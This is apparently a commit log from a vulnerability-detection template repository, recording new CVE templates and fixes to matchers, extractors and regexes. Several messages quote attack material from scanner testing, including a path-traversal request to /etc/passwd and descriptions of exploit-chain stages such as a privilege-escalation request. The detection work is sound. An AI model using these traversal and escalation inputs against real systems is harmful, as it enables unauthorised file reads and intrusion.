pussycat0x 73f1338d0f Merge pull request #16647 from iamatownboy/pr/cve-2026-1830
Add CVE-2026-1830 Quick Playground template
2026-07-28 11:06:30 +05:30
ghost 904ebe89f2 chore: generate new addition list 🤖 2026-07-28 05:36:04 +00:00
ghost 166eb7da81 chore: sign templates 🤖 2026-07-28 05:35:16 +00:00
pussycat0x f7a2085c8c Merge pull request #16644 from iamatownboy/pr/cve-2025-14047
Add CVE-2025-14047 WPUF template
2026-07-28 11:04:55 +05:30
Dhiyaneshwaran db00bc1748 Update CVE-2026-4987.yaml 2026-07-28 11:04:52 +05:30
Dhiyaneshwaran 7689cfeb65 Update CVE-2026-3335.yaml 2026-07-28 10:19:14 +05:30
Rishi 7e87d44c05 Merge branch 'main' into add-arista-velocloud-favicon 2026-07-28 05:48:38 +01:00
rxerium 389176e67d fix: keep only Arista VeloCloud /favicon.ico hash in favicon-detect
Drop 2022473497 (/vco/favicon) — favicon-detect only requests /favicon.ico and /images/favicon.ico. Keep -2062596654, which matches VCO UI and Edge Activation hosts.
2026-07-28 05:48:06 +01:00
Roberto Nunes a30816f113 Create CVE-2026-49952.yaml 2026-07-28 13:43:14 +09:00
ghost d45959218d chore: update KEV and vKEV tags and metadata 🤖 2026-07-28 04:03:07 +00:00
ghost 513833aeab chore: update EPSS scores 🤖 2026-07-28 02:59:43 +00:00
rxerium cbad62c898 add Arista VeloCloud favicon hashes to favicon-detect
Add mmh3 hashes 2022473497 (/vco/favicon) and -2062596654 (/favicon.ico) for Arista VeloCloud / VMware SD-WAN Orchestrator and Edge detection.
2026-07-28 03:47:08 +01:00
Dhiyaneshwaran db27779e0d Enhance CVE-2026-1830 details in YAML file
Updated the CVE-2026-1830 YAML file to provide more detailed information about the vulnerability, including specific endpoints and conditions for exploitation.
2026-07-28 03:31:09 +05:30
Michael Young 64fedb29c8 fix intrusive tag typo in CVE-2023-34124.yaml 2026-07-27 17:55:36 -04:00
Chris 0c123affa6 Add cyberstrikeai-panel 2026-07-27 22:29:09 +02:00
zer0p0int 265aba2270 Merge branch 'main' into add-cve-2026-7467-expand-maker 2026-07-27 23:33:42 +08:00
ghost 4924c84cac chore: generate templates checksum 🤖 2026-07-27 13:09:46 +00:00
ghost 236007a14e chore: generate new addition list 🤖 2026-07-27 13:07:46 +00:00
ghost 1a43f013d4 chore: sign templates 🤖 2026-07-27 13:07:06 +00:00
ghost 92ad7bd49a chore: generate CVEs metadata 🤖 2026-07-27 13:06:59 +00:00
Roberto Nunes a912077984 Merge pull request #16631 from stopic-lab/stopic-lab-patch-1
Added CVE-2026-8713: Avada Builder Arbitrary File Deletion
2026-07-27 22:06:41 +09:00
ghost a136f24522 chore: generate templates checksum 🤖 2026-07-27 13:04:28 +00:00
ghost 3c2ea92c12 chore: sign templates 🤖 2026-07-27 13:02:28 +00:00
Roberto Nunes 6cad0fb533 Merge pull request #16454 from ashvinctrl/fix-mongodb-unauth-opmsg
fix(mongodb-unauth): use OP_MSG instead of removed OP_QUERY opcode
2026-07-27 22:02:07 +09:00
ghost 94c4593fb9 chore: sign templates 🤖 2026-07-27 13:01:50 +00:00
Roberto Nunes cf5f25c599 Merge pull request #16665 from DPS0340/fix/regex-extractor-capture-groups
fix: add the missing capture group to three regex extractors
2026-07-27 22:01:27 +09:00
Dhiyaneshwaran bc70089e09 Update CVE-2025-14047.yaml 2026-07-27 18:16:35 +05:30
Jiho Lee 8bb1853668 fix: unhide two extractors that nothing consumes 2026-07-27 15:44:37 +09:00
Aman Rawat 450c0c070b Update oracle-containers-panel.yaml 2026-07-27 11:51:54 +05:30
Aman Rawat 45c50aaad8 Update springboot-x-application-context.yaml 2026-07-27 11:50:19 +05:30
Aman Rawat 711f03e60e Update CVE-2026-34036.yaml 2026-07-27 11:48:48 +05:30
Aman Rawat 345cfba933 Update CVE-2026-9198.yaml 2026-07-27 11:14:21 +05:30
Aman Rawat aa597c3b57 Update CVE-2026-39468.yaml 2026-07-27 10:55:40 +05:30
Aman Rawat bfdfdab420 Update mongodb-unauth.yaml 2026-07-27 10:37:49 +05:30
Aman Rawat d97be8aec8 Updated to passive detection to avoid deletion 2026-07-27 09:59:39 +05:30
ghost 4ccef9ea7c chore: generate templates checksum 🤖 2026-07-27 04:19:26 +00:00
ghost dfcf3eecfb chore: sign templates 🤖 2026-07-27 04:16:57 +00:00
Dhiyaneshwaran fbabe1c460 Merge pull request #16661 from projectdiscovery/fix-empty-operators
fix empty operators
2026-07-27 09:46:32 +05:30
ghost f0b5f4bdc4 chore: update EPSS scores 🤖 2026-07-27 03:01:04 +00:00
Cole Munz 6bb051f090 Fix nfs-v3-exposed matching PROG_UNAVAIL as a valid hit
Reported in #16662. The binary matcher checks XID, REPLY, MSG_ACCEPTED
and the AUTH_NONE verifier, but stops before accept_stat even though the
comment claims it checks SUCCESS. So an RPC reply that was accepted but
unsuccessful - most often PROG_UNAVAIL from a portmapper or a host where
NFS isn't registered on that port - still matches as an exposed NFSv3
service.

Appended the missing accept_stat=SUCCESS(0) four bytes so the matcher
checks what the comment already said. Verified against the reporter's
captured bytes: the PROG_UNAVAIL response ends in accept_stat 00000001,
which no longer satisfies the pattern, while a real SUCCESS reply still
matches.

Signed-off-by: Cole Munz <[email protected]>
2026-07-26 21:34:29 -05:00
Jiho Lee 6d5af18ddf fix(CVE-2025-2075): mark the setup-stage matchers internal
Two of the four blocks are setup for the privilege escalation -- logging in
with valid credentials, and firing the uap async_action request -- and both
carry non-internal matchers. nuclei reports every block whose matchers pass,
so an ordinary WordPress reports high-severity findings without the
vulnerable plugin being present.

Block 3 is the sharper one: the exploit POST is matched on status 200 alone,
and WordPress returns 200 with {"code":"rest_no_route"} for a REST route
that does not exist. The absence of the plugin looks identical to its
presence.

Against a WordPress that accepts the login but has no vulnerable plugin:

  before:  2 x [CVE-2025-2075] [high]  .../wp-login.php
                                        .../wp-json/uap/v2/async_action/
  after:   (nothing)

Against a host where the escalation does succeed:

  before:  3 findings (2 of them the setup blocks)
  after:   1 finding  .../wp-admin/users.php?role=administrator

The last block is untouched. It requires "Howdy," AND ">Select <username><"
on the administrators page, which is the only evidence the role actually
changed.

Same pattern CVE-2026-23696 uses for its flow stages. Chain still runs: all
4 blocks execute before and after, and the vulnerable host still reports.

nuclei -validate passes before and after.
2026-07-27 10:00:56 +09:00
Jiho Lee 90ebe33219 fix(CVE-2024-0200): mark the setup-stage matchers internal
Four of the seven request blocks are setup for the exploit -- list orgs,
confirm admin role, create a repo, log in, read the session secret -- and
each carries a non-internal matcher. nuclei reports every block whose
matchers pass, so a GitHub Enterprise host that merely lets you log in
produces critical findings without the reflection bug being present.

Against a server that satisfies the setup stages and is NOT vulnerable
(the payload cookie returns 200, not 500, and there is no OAST callback):

  before:  3 x [CVE-2024-0200] [critical]   .../memberships/x
                                            .../repos
                                            .../session
  after:   (nothing)

The exploit stage is untouched: it still requires status 500 AND an
interactsh dns interaction, which is the only evidence of the reflection
injection.

Marking these internal keeps them as gates rather than findings -- the same
pattern CVE-2026-23696 already uses for its flow stages. Verified the chain
still proceeds: on a host that satisfies every stage, all 7 blocks execute
before and after this change, and a minimal two-block template confirms an
internal matcher gates the next request while only the final non-internal
matcher reports.

Block 5 also gains matchers-condition: and. A bare 302 is any redirect and
the _gh_render header alone is not proof of a session; requiring both is
what "the login succeeded" actually means.

nuclei -validate passes before and after.
2026-07-27 09:54:28 +09:00
Jiho Lee 19ab1a3f1f fix(thinkphp6-arbitrary-write): the dsl variable is status_code_2, not status_2
nuclei exposes per-request values as status_code_2, body_2, header_2 -- there
is no status_2. The name resolves to nothing, the dsl matcher never passes,
and because the template is matchers-condition: and, it can never fire.

Verified with nuclei built from dev against a server that mimics a vulnerable
ThinkPHP 6 (echoes the traversal cookie back in Set-Cookie, then serves the
written file):

  before:  no output
  after:   [thinkphp6-arbitrary-write] [http] [critical] .../4zdzkqh4xhz.php

Isolated the name itself on a two-request template first, so the result is
not specific to this one:

  "status_2 == 200"       no match
  "status_code_2 == 200"  matched

nuclei -validate reports success on both the broken and the fixed template,
which is why this survived.

Only occurrence in the tree: `grep -rn 'status_[0-9]' --include='*.yaml' .`
excluding status_code returns nothing else. One line.
2026-07-27 09:26:44 +09:00
Jiho Lee 7f5a5e7a18 fix(portal-api-ssrf): extractor part is interactsh_request, not interactsh
nuclei sets interactsh_protocol, interactsh_request, interactsh_response and
interactsh_ip on the event (pkg/protocols/common/interactsh/interactsh.go).
There is no plain `interactsh` key, so `part: interactsh` resolves to nothing
and the extractor silently yields no interaction_id.

The template's own dsl matcher already uses the correct name:

  - 'contains(interactsh_request, "/api/v3/portal")'

so only the extractor was wrong. Every other template in the tree that
extracts from an OAST callback uses interactsh_request (CVE-2026-35029,
CVE-2021-2135, dast/ai/ai-data-exfiltration); this was the only
`part: interactsh` in 13,451 files.

Confirmed that an unrecognised part fails silently rather than erroring:

  part: interactsh              -> [ix-bad]  ... (no extraction)
  part: totally-made-up-header  -> [ix-hdr]  ... (no extraction)
  part: header                  -> [ix-good:got] ... ["TestServer/9.9.9"]

`nuclei -validate` passes both before and after, which is why this was
invisible.

One line.
2026-07-27 07:22:22 +09:00
Jiho Lee 45e4f7b8de fix: three CVE templates put regexes in word matchers, so they never fire
A `word` matcher is a literal substring comparison, so `\s*`, `.*` and
`([a-zA-Z0-9_-]+)` have to appear verbatim in the response for it to match.
None of these three templates can detect the vulnerability it targets.

Verified against local servers returning exactly what each template looks
for, with nuclei built from dev. Before, all three:

  [INF] Scan completed. No results found.

After:

  [CVE-2017-5521]  [high] .../passwordrecovered.cgi?id=U0uI0
  [CVE-2017-7615]  [high] .../verify.php?id=1&confirm_hash
  [CVE-2020-23575] [high] .../../../../../../etc/passwd%00index.htm

CVE-2020-23575 is the clearest: the target body was a real /etc/passwd and
"root:.*:0:0:" matched nothing.

Only `type: word` -> `type: regex` and the `words:` key; every pattern is
unchanged, as are severity, condition, part, and metadata. The patterns are
already valid Go regexes, so no rewriting was needed.

Scanned the tree for the same mistake: 13,451 files, 21,434 words in word
matchers, 28 regex-looking. The rest are literal text that happens to
contain a metacharacter (Windows paths like "ExePath=\Windows", PHP
namespaces like "yii\base\ErrorException", ":$apr1$" htpasswd prefixes),
which are correct as words. These three are the ones that cannot match.
2026-07-27 06:51:02 +09:00
Jiho Lee 49d873a29c fix: add the missing capture group to three regex extractors
Each of these declares `group: 1` on a pattern with zero capture groups.
`ExtractRegex` reads `FindAllStringSubmatch`, which returns exactly
`NumSubexp()+1` entries per match, so index 1 is always out of range: the
template matches, reports, and extracts nothing.

Verified against a local server with nuclei built from dev. Before:

  [oracle-containers-panel:word-1] [http] [info] http://127.0.0.1:8732/
  [smtp-credentials-exposure:dsl-1] [http] [high] http://127.0.0.1:8732/

After:

  [oracle-containers-panel:word-1] ... ["10.1.3.5.0"]
  [smtp-credentials-exposure:dsl-1] ... ["Username: [email protected]","PASSWORD: s3cr3t"]

smtp-credentials-exposure is the one that matters most: the JSON pattern
sits beside an XML pattern that does capture, so on a JSON body the
template fires and silently omits the credential it exists to report.
`[^"]*` rather than `.*` so a value cannot run past its closing quote into
the next field.

The other two extract a version string and a context path, both empty today.

Scan of the tree: 13,451 yaml files, 2,100 regex extractors with group > 0,
these 3 files (4 patterns) affected. Nothing else changes.

Found while adding a compile-time check for this in nuclei
(projectdiscovery/nuclei#7612).
2026-07-27 06:34:04 +09:00
Jiho Lee 9c1b4fea4d fix: replace an unsupported lookahead that made the template fail to load
The invalid-owner matcher uses a negative lookahead:

    ^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)

Go's RE2 has no lookahead, so this never compiles and the whole template
is dropped at load:

    Could not parse template home-env-permission.yaml: could not compile
    request: cause="could not compile regex: ^\\S+\\s+\\S+\\s+(?!root|...)"
    Found 1 templates with runtime error

Neither of the two matchers ever runs, so the check has never worked.

The comparison it wants -- owner is neither root nor the expected user --
cannot be expressed in RE2 at all, since it relates two fields of the
same line. The shell pipeline already knows both, so awk marks the line
and the matcher looks for that marker instead.

Verified against sample ls -l output: only the foreign-owner row is
flagged; rows owned by root or by the expected user are not.

  -rw-r--r-- 1 mallory mallory ... EXPECTED_USER=bob   -> INVALID_OWNER
  -rw-r--r-- 1 alice   alice   ... EXPECTED_USER=alice -> not flagged
  -rw-r--r-- 1 root    root    ... EXPECTED_USER=alice -> not flagged

Before: template dropped with a compile error.
After:  loads with no runtime error.

Found by scanning every regex in the repo: 10088 patterns across 13451
templates, this was the only one Go cannot compile.
2026-07-27 00:03:40 +09:00
Jiho Lee 8c41971f78 fix: add the missing capture group to four regex extractors
Each of these declares group: 1 on a pattern with no capture group. The
extractor skips every submatch (len(match) < group+1) and silently
produces nothing, so the value the template promises is never reported.

  oracle-containers-panel          version string never extracted
  springboot-x-application-context header value never extracted
  smtp-credentials-exposure        JSON form of both credentials missed

smtp-credentials-exposure is the clearest: two patterns share one
group: 1, and only the XML form captures. Against a body containing both
forms it extracts only the XML match, so the JSON credential the
template is named for goes unreported.

Verified each replacement against a realistic corpus:

  oracle    'Oracle Containers for J2EE 10g \((.*)\)'  -> 10.1.3.5.0
  springboot '(?m)^X-Application-Context:\s*(\S.+)$'   -> application:prod:8080
  smtp      'smtp_username":"(.*?)"'                    -> admin
  smtp      'smtp_password":"(.*?)"'                    -> s3cr3t

Two deliberate choices: the springboot pattern needs (?m) because the
header part is a multi-line block and ^ would otherwise only match at
the start of it; the smtp patterns use a lazy quantifier so a body with
several keys doesn't swallow everything between the first and last
quote.

Only the extractor patterns changed; matchers are untouched.
2026-07-26 23:52:11 +09:00
Mzack9999 72eeb016ca fix templates 2026-07-26 12:29:41 +04:00
ghost d51e9a38ae chore: update EPSS scores 🤖 2026-07-26 03:00:24 +00:00
ghost e17dbe446e chore: update EPSS scores 🤖 2026-07-25 02:59:55 +00:00
Yoann ONO 02eb2db1d4 Create CVE-2026-34036.yaml
Dolibarr <=22.0.4 authenticated Local File Inclusion in core/ajax/selectobject.php.
Verified against Dolibarr 20.0.4 with a live lab.

Signed-off-by: Yoann ONO <[email protected]>
2026-07-24 23:15:27 +02:00
ghost c90abbe640 chore: generate templates checksum 🤖 2026-07-24 13:58:24 +00:00
ghost 0d3d7f28c9 chore: generate CVEs metadata 🤖 2026-07-24 13:55:51 +00:00
ghost e269d50baf chore: sign templates 🤖 2026-07-24 13:55:45 +00:00
Sandeep SinghandCursor 1c39dc4778 Improve CVE-2026-63030: safe route-confusion detection (#16658)
Replace the timing/SLEEP-based blind SQLi detection with a deterministic
route-confusion probe to fix false negatives reported in #16629.

- Drop SLEEP timing oracle (WAF-prone, flaky, availability impact)
- Detect batch-route confusion via block_cannot_read + absence of
  rest_term_invalid (patched hosts route correctly and return it)
- Keep WordPress pre-check gate via flow to avoid false positives
- Update metadata, tags, CWE (CWE-287), and credit flx-0x00

Co-authored-by: Cursor <[email protected]>
2026-07-24 19:25:23 +05:30
Jerome FELLUS 1b313d098d add template for CVE-2026-9198 - IBM Langflow Unauthenticated RCE via Auto-Login Bypass 2026-07-24 12:06:09 +02:00
ghost 3d42602831 chore: generate templates checksum 🤖 2026-07-24 06:31:06 +00:00
ghost c9eb754b77 chore: generate new addition list 🤖 2026-07-24 06:29:18 +00:00
ghost 40417ab9ca chore: sign templates 🤖 2026-07-24 06:28:33 +00:00
pussycat0x a691f258e5 Merge pull request #16654 from wujiecong/arthas-web-console
Added Alibaba Arthas Web Console Detect Template
2026-07-24 11:58:11 +05:30
ghost ec725c05ee chore: update KEV and vKEV tags and metadata 🤖 2026-07-24 04:04:15 +00:00
Roberto Nunes 17b45eec23 Update arthas-web-console.yaml 2026-07-24 12:47:36 +09:00
ghost 060b2591e6 chore: update EPSS scores 🤖 2026-07-24 03:00:15 +00:00
ghost ee71c007b3 chore: generate templates checksum 🤖 2026-07-23 16:40:29 +00:00
ghost d5aaf31666 chore: sign templates 🤖 2026-07-23 16:39:22 +00:00
pussycat0x 7a640986c8 Merge pull request #15947 from hugo-syn/main
feat: add body fuzzing to DAST and add POST/PUT methods
2026-07-23 22:09:02 +05:30
ghost 38022ee243 chore: generate new addition list 🤖 2026-07-23 16:38:21 +00:00
ghost ef174abce5 chore: generate CVEs metadata 🤖 2026-07-23 16:37:44 +00:00
ghost 84f7b742b9 chore: sign templates 🤖 2026-07-23 16:37:40 +00:00
pussycat0x e19e050d18 Merge pull request #16586 from Aryu-RU/add-cve-2026-42796
Add CVE-2026-42796 - Arelle < 2.39.10 - Unauthenticated Remote Code Execution
2026-07-23 22:07:17 +05:30
wujiecong cabe21dfda Added Alibaba Arthas Web Console Detect Template 2026-07-23 21:41:08 +08:00
iamatownboy c18b5966d3 Add CVE-2026-3335 Canto template 2026-07-23 19:42:49 +09:00
iamatownboy 765fd77c4b Add CVE-2026-0743 WP Content Permission template 2026-07-23 19:42:48 +09:00
iamatownboy 5b604f196f Add CVE-2026-4987 SureForms payment bypass template 2026-07-23 19:42:48 +09:00
iamatownboy 9f5e0d0d15 Add CVE-2026-1830 Quick Playground template 2026-07-23 19:42:47 +09:00
iamatownboy 54e2148173 Add CVE-2025-14047 WPUF template 2026-07-23 19:42:47 +09:00
iamatownboy f5fa131419 Add CVE-2026-39468 Meta Box template 2026-07-23 19:42:47 +09:00
iamatownboy 00683c3ceb add CVE-2026-12898 nuclei template 2026-07-23 19:42:46 +09:00
ghost c9fa86589a chore: generate templates checksum 🤖 2026-07-23 08:44:57 +00:00
ghost b37911b836 chore: generate new addition list 🤖 2026-07-23 08:26:28 +00:00
ghost fcd913a3ac chore: sign templates 🤖 2026-07-23 08:25:46 +00:00
pussycat0x ba52a1b696 Merge pull request #10321 from Thacien/CVE-2023-34992
Added CVE-2023-34992 and CVE-2024-23108 Templates
2026-07-23 13:55:22 +05:30
pussycat0x 1c60f15392 Update CVE-2023-34992.yaml 2026-07-23 13:54:25 +05:30
ghost cffef6ac48 chore: generate templates checksum 🤖 2026-07-23 08:16:06 +00:00
ghost cf2057a586 chore: generate new addition list 🤖 2026-07-23 08:14:13 +00:00
ghost b5eacab563 chore: sign templates 🤖 2026-07-23 08:13:32 +00:00
ghost 75b6cf7075 chore: generate CVEs metadata 🤖 2026-07-23 08:13:30 +00:00
Dhiyaneshwaran 4a866b97c6 Merge pull request #16189 from aleff-github/cve-2025-55746-directus-file-modification
Add Directus CVE-2025-55746 unauthenticated file modification validator
2026-07-23 13:43:11 +05:30
Ritik Chaddha 15f868583e Update CVE-2025-55746.yaml 2026-07-23 13:33:36 +05:30
Dhiyaneshwaran 9b055e0ce5 Fix formatting in CVE-2025-55746.yaml 2026-07-23 13:31:23 +05:30
Dhiyaneshwaran 34dc5a7256 Refine CVE-2025-55746 details and HTTP request format
Updated the CVE-2025-55746 YAML file to clarify the vulnerability details, enhance the remediation instructions, and adjust the HTTP request structure.
2026-07-23 13:28:42 +05:30
ghost 742e10fc02 chore: generate new addition list 🤖 2026-07-23 07:43:46 +00:00
ghost f416b85be3 chore: generate CVEs metadata 🤖 2026-07-23 07:43:02 +00:00
ghost 1ecbb463de chore: sign templates 🤖 2026-07-23 07:42:37 +00:00
ghost eb720b3299 chore: generate new addition list 🤖 2026-07-23 07:39:54 +00:00
Ritik Chaddha ba56320df6 Merge pull request #16624 from projectdiscovery/CVE-2026-58455
CVE-2026-58455 - Dockwatch <= 0.6.567 - Unauthenticated OS Command Injection
2026-07-23 13:08:44 +05:30
Ritik Chaddha 4debb34345 Merge pull request #16623 from projectdiscovery/CVE-2026-22683
CVE-2026-22683 - Windmill < 1.603.3 - Operator Authorization Bypass via Folder Management
2026-07-23 13:08:39 +05:30
Ritik Chaddha 9b6f145f1e Merge pull request #16622 from projectdiscovery/CVE-2026-23696
CVE-2026-23696 - Windmill < 1.603.3 - Authenticated SQL Injection via Folder Permissions
2026-07-23 13:08:29 +05:30
Ritik Chaddha 802e6263a0 Update CVE-2026-23696.yaml 2026-07-23 12:42:45 +05:30
Ritik Chaddha 0c5d491662 Update CVE-2026-22683.yaml 2026-07-23 12:41:53 +05:30
Ritik Chaddha 1b6d246178 Update CVE-2026-58455.yaml 2026-07-23 12:40:54 +05:30
ghost b5ee541aec chore: generate templates checksum 🤖 2026-07-23 05:58:07 +00:00
ghost 89df2564e9 chore: generate new addition list 🤖 2026-07-23 05:56:14 +00:00
ghost 96df081d1c chore: sign templates 🤖 2026-07-23 05:55:34 +00:00
Aman Rawat 488d52c9a3 Merge pull request #16471 from fsoppelsa/add-vllm-exposed-template
Add vLLM OpenAI-compatible API unauthenticated exposure template
2026-07-23 11:25:12 +05:30
ghost 5475347094 chore: generate templates checksum 🤖 2026-07-23 05:52:32 +00:00
ghost 3801986146 chore: sign templates 🤖 2026-07-23 05:51:26 +00:00
ghost af80b53d4e chore: generate new addition list 🤖 2026-07-23 05:51:21 +00:00
ghost eef9d62a8c chore: generate CVEs metadata 🤖 2026-07-23 05:51:12 +00:00
Aman Rawat 3f526cc76d Merge pull request #16096 from ChrisJr404/add-cve-2024-42323-hertzbeat
Add CVE-2024-42323 - Apache HertzBeat SnakeYAML deserialization RCE
2026-07-23 11:20:51 +05:30
Aman Rawat f4f42d60d0 Merge pull request #16349 from flyingllama87/perforce-cve-update
Enrich 4x Perforce templates (now CVE-2026-6043)
2026-07-23 11:20:42 +05:30
Aman Rawat a638b76eb2 Merge pull request #16468 from stanley0707/fix/dameng-detect-false-positives
fix dameng-detect: use positive signature to avoid false positives
2026-07-23 11:20:34 +05:30
ghost 4d44cd3150 chore: sign templates 🤖 2026-07-23 05:50:12 +00:00
ghost a2d9493aa3 chore: generate CVEs metadata 🤖 2026-07-23 05:50:06 +00:00
Aman Rawat 9b846f3b8a Merge pull request #16092 from ChrisJr404/add-cve-2024-56511-dataease
Add CVE-2024-56511 - DataEase whitelist path-traversal authentication bypass
2026-07-23 11:19:48 +05:30
ghost 7d8b377f22 chore: generate templates checksum 🤖 2026-07-23 05:20:55 +00:00
ghost 599330b14e chore: generate new addition list 🤖 2026-07-23 05:19:07 +00:00
ghost 23609089b4 chore: sign templates 🤖 2026-07-23 05:18:24 +00:00
Dhiyaneshwaran c80ee05368 Merge pull request #16553 from rxerium/add-ai-ml-gap-templates
Add AI/ML panel and technology detection templates
2026-07-23 10:48:04 +05:30
Dhiyaneshwaran e459d440a6 update descriptions to past tense and standardize formatting 2026-07-23 10:42:42 +05:30
ghost 9a4a5cd3a5 chore: generate templates checksum 🤖 2026-07-23 04:47:38 +00:00
ghost 83cfe0bd2d chore: sign templates 🤖 2026-07-23 04:45:06 +00:00
Dhiyaneshwaran 864409c48d Merge pull request #16579 from munzzyy/fix/exposed-zookeeper-default-config-fn
fix: reduce false negatives in exposed-zookeeper template
2026-07-23 10:14:47 +05:30
Dhiyaneshwaran 9097945801 Enhance ZooKeeper exposure details and extractors
Updated the description, impact, remediation, and added extractors for unauthenticated access to ZooKeeper.
2026-07-23 10:10:04 +05:30
ghost 9d899332ad chore: generate templates checksum 🤖 2026-07-23 04:36:57 +00:00
ghost 8b167e31fe chore: sign templates 🤖 2026-07-23 04:34:44 +00:00
ghost b72d9bed77 chore: generate CVEs metadata 🤖 2026-07-23 04:34:39 +00:00
Roberto Nunes ea5e44fe8a Merge pull request #16526 from Eren-Akdag/fix/CVE-2023-50839-false-positive
fix(CVE-2023-50839): add plugin fingerprint to prevent false positives
2026-07-23 13:34:22 +09:00
ghost a74c7e1f10 chore: sign templates 🤖 2026-07-23 04:34:11 +00:00
Roberto Nunes 996f5fd0f2 Merge pull request #16591 from daffainfo/patch-112941
Moved CVE-2021-27877.yaml to the correct folder
2026-07-23 13:33:52 +09:00
Akokonunes 3e9bdbfb50 fix(CVE-2023-50839): add plugin fingerprint pre-check to prevent false positives 2026-07-23 13:29:22 +09:00
ghost 8069bac55b chore: generate templates checksum 🤖 2026-07-23 04:26:27 +00:00
Akokonunes 6cbe03ef61 fix: move CVE-2021-27877 from network/ to javascript/ (correct template type) 2026-07-23 13:25:37 +09:00
ghost 1e324eaede chore: generate new addition list 🤖 2026-07-23 04:25:18 +00:00
ghost a010af7739 chore: generate CVEs metadata 🤖 2026-07-23 04:24:32 +00:00
Roberto Nunes df6b93bbd6 Merge pull request #16637 from projectdiscovery/CVE-2026-48909
CVE-2026-48909 - Joomla SP LMS <= 4.1.3 - Remote Code Execution
2026-07-23 13:24:13 +09:00
ghost 2acdf53e68 chore: generate CVEs metadata 🤖 2026-07-23 04:23:59 +00:00
ghost 63a4ae6014 chore: sign templates 🤖 2026-07-23 04:23:52 +00:00
Roberto Nunes d0811013a2 Merge pull request #16301 from AI-DEV-BOT/convert/bitrix-open-redirect-cve-2008-2052
Convert Bitrix open redirect template to CVE-2008-2052
2026-07-23 13:23:34 +09:00
ghost 47da10440b chore: generate templates checksum 🤖 2026-07-23 04:17:34 +00:00
ghost fa1ae2b8ab chore: generate new addition list 🤖 2026-07-23 04:15:55 +00:00
ghost ea061ccee0 chore: sign templates 🤖 2026-07-23 04:15:07 +00:00
pussycat0x b0c1768f93 Merge pull request #12821 from Jaenact/add-dast_vulnerabilites_injection
Add Unix and Windows Command Injection Detection Template
2026-07-23 09:44:46 +05:30
ghost 2823f4f81e chore: generate templates checksum 🤖 2026-07-23 04:14:21 +00:00
ghost b541b56a39 chore: sign templates 🤖 2026-07-23 04:12:39 +00:00
pussycat0x 7647e01f20 Merge pull request #16160 from PachkaKofe04/convert-geovision-CVE-2021-47795
Convert geovision-geowebserver-lfi-xss to CVE-2021-47795
2026-07-23 09:42:20 +05:30
Akokonunes 54d6a875aa fix: resolve conflict - merge CVE-2008-2052 improvements (cpe, name, refs) with main epss scores 2026-07-23 13:12:18 +09:00
ghost c90ba6c773 chore: sign templates 🤖 2026-07-23 04:10:10 +00:00
pussycat0x 375d733641 Merge pull request #16362 from jakxx/twitter_fp
Update twitter-phish.yaml
2026-07-23 09:39:49 +05:30
ghost 63372485cc chore: generate templates checksum 🤖 2026-07-23 04:09:35 +00:00
ghost a1072de80c chore: generate new addition list 🤖 2026-07-23 04:07:29 +00:00
ghost e18c0189b6 chore: sign templates 🤖 2026-07-23 04:07:14 +00:00
Dhiyaneshwaran 2bba2e9feb Merge pull request #16574 from infosec-asish/fix/langfuse-health-matcher
Fix/langfuse health matcher
2026-07-23 09:36:56 +05:30
ghost d1f3fdf703 chore: sign templates 🤖 2026-07-23 04:06:49 +00:00
Dhiyaneshwaran ed2260ccb3 Update CVE-2025-55746 name for clarity 2026-07-23 09:36:45 +05:30
ghost 5a2c8edba4 chore: generate CVEs metadata 🤖 2026-07-23 04:06:44 +00:00
pussycat0x a69fd60600 Merge pull request #16626 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-8385.yaml - WordPress WP Go Maps < 10.0.10 - Unauthenticated Marker Data Disclosure
2026-07-23 09:36:26 +05:30
ghost a619a30c9f chore: generate templates checksum 🤖 2026-07-23 04:06:17 +00:00
ghost 3643ec4172 chore: update KEV and vKEV tags and metadata 🤖 2026-07-23 04:04:53 +00:00
ghost 061937844c chore: generate new addition list 🤖 2026-07-23 04:04:00 +00:00
ghost 9c5990e7b9 chore: generate new addition list 🤖 2026-07-23 04:03:38 +00:00
ghost dfe1d6ed0d chore: sign templates 🤖 2026-07-23 04:03:19 +00:00
Roberto Nunes b1302ca755 Merge pull request #16619 from wujiecong/CNVD-2021-35876
Add CNVD-2021-35876 Alibaba Sentinel - Default Login
2026-07-23 13:02:57 +09:00
ghost aa00da71eb chore: generate CVEs metadata 🤖 2026-07-23 04:02:55 +00:00
Roberto Nunes 2cc33d8dbe Merge pull request #16345 from WRG-11/cve-2026-31831-tautulli
CVE-2026-31831 (Tautulli <= 2.16.1 - Unauthenticated Path Traversal)
2026-07-23 13:02:32 +09:00
ghost 7307a43d9d chore: generate templates checksum 🤖 2026-07-23 03:52:11 +00:00
ghost 5a3179e0de chore: generate new addition list 🤖 2026-07-23 03:50:48 +00:00
ghost 8d44f33e20 chore: sign templates 🤖 2026-07-23 03:50:06 +00:00
ghost c5483e0461 chore: generate new addition list 🤖 2026-07-23 03:49:47 +00:00
pussycat0x d16c353156 Merge pull request #16612 from Th3l0newolf/chatwoot
Add Chatwoot Login Panel detection
2026-07-23 09:19:43 +05:30
ghost dbfdd2e439 chore: sign templates 🤖 2026-07-23 03:49:03 +00:00
ghost 21490268d3 chore: generate CVEs metadata 🤖 2026-07-23 03:48:55 +00:00
Dhiyaneshwaran 2e295254e5 Merge pull request #16640 from projectdiscovery/16634-TEMPLATE-REQUEST]-Unauthenticated-RCE-in-SP-Page-Builder-(Joomla)
Add CVE-2026-48908.yaml - Joomla SP Page Builder <= 6.6.1 - Unauthenticated Arbitrary File Upload RCE
2026-07-23 09:18:39 +05:30
Dhiyaneshwaran d89ce32bda Refactor description formatting in exposed-zookeeper.yaml
Removed redundant line breaks in the description of the exposed ZooKeeper access issue.
2026-07-23 09:17:36 +05:30
Roberto Nunes 84cfdece93 Remove CVE-2026-48908.yaml from http/cves/2026 (moved to javascript/cves/2026) 2026-07-23 12:44:01 +09:00
Roberto Nunes 1172ce9514 Move CVE-2026-48908.yaml from http/cves/2026 to javascript/cves/2026 2026-07-23 12:43:52 +09:00
ghost 4e2a47d17b chore: update EPSS scores 🤖 2026-07-23 03:00:20 +00:00
Roberto Nunes 8424591612 use javascript protocol instead 2026-07-23 11:13:36 +09:00
Roberto Nunes 8d7b5b2de7 Add CVE-2026-48908 vulnerability details
Added CVE-2026-48908 entry detailing an unauthenticated arbitrary file upload vulnerability in Joomla SP Page Builder.
2026-07-23 09:32:36 +09:00
Dhiyaneshwaran d9aebb20da CVE-2026-48909 - Joomla SP LMS <= 4.1.3 - Remote Code Execution 2026-07-22 23:52:30 +05:30
ghost 4e43b74806 chore: generate templates checksum 🤖 2026-07-22 17:46:47 +00:00
